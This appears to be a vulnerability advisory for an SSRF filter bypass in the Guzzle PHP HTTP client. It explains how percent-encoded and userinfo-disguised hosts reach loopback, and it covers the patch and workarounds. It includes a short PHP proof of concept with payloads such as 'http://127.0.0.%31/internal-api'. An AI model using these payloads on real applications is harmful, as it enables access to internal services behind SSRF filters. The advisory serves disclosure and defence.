CVE-2026-69246: Guzzle Noncanonical Host SSRF Bypass
Guzzle passes a URI to libcurl or fopen exactly as written, so a percent-encoded or otherwise noncanonical host string can fool application-level IP checks while still reaching a blocked address on…

The problem
Guzzle hands the raw request URI string to its cURL and stream handlers. libcurl percent-decodes the authority before resolving, so 127.0.0.%31 bypasses PHP-side filter_var() checks yet connects to loopback.
The same split also affects no_proxy routing, RedirectMiddleware credential-stripping, and cookie-jar scoping, because all of those decisions read the URI host as written, not the host the transport actually contacted. A third-party UriInterface with a host of blocked.example.com@127.0.0.1 reaches 127.0.0.1 through all three handlers and generates Authorization: Basic from userinfo the application never wrote.
Proof of concept
A working proof-of-concept for CVE-2026-69246 in guzzlehttp/guzzle, with the exact payload below.
<?php
// Percent-encoded loopback: filter_var() rejects it as an IP literal,
// but libcurl decodes %31 -> '1' and connects to 127.0.0.1.
$client = new \GuzzleHttp\Client();
$response = $client->get('http://127.0.0.%31/internal-api');
echo $response->getBody();
// @-userinfo variant (third-party UriInterface):
// blocked.example.com is the userinfo; 127.0.0.1 is the real host.
$response2 = $client->get('http://blocked.example.com@127.0.0.1/secret');
echo $response2->getBody();The root cause is validate-before-canonicalize (CWE-184 / CWE-436): Guzzle checks the URI host at the PHP layer using the string as written, then hands that same string to libcurl or fopen(), which canonicalise it independently. The two layers therefore operate on different effective hosts.
The patch adds pre-flight validation inside all three built-in handlers before any network I/O. A URI host is now rejected if it contains a byte outside printable ASCII (0x21-0x7E), a percent escape, a URI authority delimiter (@, /, ?, #), unbalanced brackets, or numeric-looking labels followed by a trailing dot.
An explicit Host header is also checked for printable ASCII and, on 7.15.2, for the absence of percent escapes. The client also regenerates a derived Host header whenever it rewrites the request URI, closing the divergence that allowed a pre-built request to carry a stale host.
The fix
Upgrade to guzzlehttp/guzzle 7.15.2 (or 8.0.1). No configuration change is needed after upgrading. If you cannot upgrade, validate the URI host with preg_match('/\A[\x21-\x7E]*\z/D', $host) and reject any host containing %, @, /, ?, or # before passing the URI to Guzzle, and apply the same check to any explicit Host header you set.
Re-parse third-party UriInterface objects with new GuzzleHttp\Psr7\Uri((string) $uri) first.
Related research
- high · 7.7CVE-2026-59931CVE-2026-59931: PHPSpreadsheet SSRF Whitelist Bypass via HTTP Redirect in WEBSERVICE()
- high · 7.7CVE-2026-54493CVE-2026-54493: Koel Authenticated Full-Read SSRF via Subsonic Radio Endpoints
- critical · 9.9CVE-2026-45262CVE-2026-45262: FacturaScripts REST API SQL Injection via Parenthesis Bypass in Where::sqlColumn
- high · 7.2CVE-2026-55372CVE-2026-55372: NukeViet Pre-auth SSRF via X-Forwarded-Host